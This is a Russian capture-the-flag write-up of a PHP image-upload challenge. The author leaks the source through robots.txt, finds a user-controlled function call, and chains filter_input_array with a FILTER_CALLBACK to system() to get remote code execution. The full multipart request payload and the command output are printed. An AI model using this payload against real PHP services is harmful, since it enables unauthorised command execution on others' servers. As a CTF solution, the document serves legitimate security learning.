В задании дана только ссылка на сайт: http://167.114.243.60/
Мы видим функционал загрузки изображений, но сервис постоянно выдает ошибку:
Открываем robots.txt и получаем исходники сервиса:
User-Agent: *
Disallow: /html.tar.gz
Файл upload.php имеет довольно подозрительный код:
$filterImage = $_POST['filter']($size, $text);
Но до его исполнения происходит вызов метода verify_parameters():
$result = verify_parameters();
if ($result !== true) {
return $result;
}
Посмотрим, что мешает загрузке изображений (verify.php):
<?php
function verify_parameters() {
if (!isset($_POST['submit'])) {
return UploadError::POST_SUBMIT;
}
if (!isset($_FILES['imageFile'])) {
return UploadError::IMAGE_NOT_FOUND;
}
$target_file = ImageUploader::TARGET_DIR . basename($_FILES["imageFile"]["name"]);
$imageFileType = strtolower(pathinfo($_FILES["imageFile"]["name"], PATHINFO_EXTENSION));
$imageFileInfo = getimagesize($_FILES["imageFile"]["tmp_name"]);
if($imageFileInfo === false) {
return UploadError::NOT_IMAGE;
}
if ($_FILES["imageFile"]["size"] > 1024*32) {
return UploadError::BIG_SIZE;
}
if (!in_array($imageFileType, ['jpg'])) {
return UploadError::INCORRECT_EXTENSION;
}
$imageMimeType = $imageFileInfo['mime'];
if ($imageMimeType !== 'image/jpeg') {
return UploadError::INCORRECT_MIMETYPE;
}
if (file_exists($target_file)) {
return UploadError::FILE_EXISTS;
}
if (!isset($_POST['filter']) || !isset($_POST['size']) || !isset($_POST['text'])) {
return UploadError::INVALID_PARAMS;
}
$size = intval($_POST['size']);
if (($size <= 0) || ($size > 512)) {
return UploadError::INCORRECT_SIZE;
}
return true;
}
?>
Подготавливаем изображение, удовлетворяющее всем параметрам (в чем нам сильно помогает файл uploadererror.php) и начинаем фаззить filter в $filterImage = $_POST['filter']($size, $text);
Обнаруживаем, что отправка имени функции var_dump даёт достаточно интересный результат:
Content-Disposition: form-data; name="filter"
var_dump
-----------------------------48680858317282118411019469398
HTTP/1.1 500 Internal Server Error
Server: nginx/1.10.3
Date: Sun, 15 Nov 2018 18:20:47 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 34
int(512)
string(11) "sample text"
После нескольких часов гугления обнаруживаем, что функция filter_input_array даёт нам достаточно хороший контроль над переменной $filterImage.
Передача массива в качестве второго аргумента позволит нам построить произвольный массив в качестве результата выполнения функции. Но ImageMagic ничего не ожидает, кроме класса Imagick.
Может быть, мы можем десериализовать входной класс? Посмотрим дополнительные аргументы фильтра в filter_input_array
Это не упоминается на странице функции, но мы можем передать callback функцию для проверки входных данных. FILTER_CALLBACK — это пример для filter_input, но это работает и для функции filter_input_array!
Это означает, что мы можем «проверять» данные, вводимые пользователем с помощью функции с одним аргументом. И у нас есть контроль над ним 😉
Получаем RCE:
POST /index.php?rce=ls HTTP/1.1
Host: 167.114.243.60
...
-----------------------------48680858317282118411019469398
Content-Disposition: form-data; name="filter"
filter_input_array
-----------------------------48680858317282118411019469398
Content-Disposition: form-data; name="size"
1
-----------------------------48680858317282118411019469398
Content-Disposition: form-data; name="text[rce][filter]"
1024
-----------------------------48680858317282118411019469398
Content-Disposition: form-data; name="text[rce][options]"
system
-----------------------------48680858317282118411019469398
Content-Disposition: form-data; name="submit"
Upload Image
-----------------------------48680858317282118411019469398--
Ответ:
HTTP/1.1 500 Internal Server Error
Server: nginx/1.10.3
Date: Sun, 15 Nov 2018 18:44:35 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 112
51a8ae2cab09c6b728919fe09af57ded
flag.exe
html.tar.gz
includes
index.php
public
robots.txt
templates
upload.php
Смотрим права на файл flag.exe:
---x--x--x 1 root root
Ок, попробуем выполнить его (а вдруг?):
POST /index.php?rce=./flag.exe HTTP/1.1
И получаем флаг:
Флаг: dac41d2da4c1a1fd8cac4bd6e827d251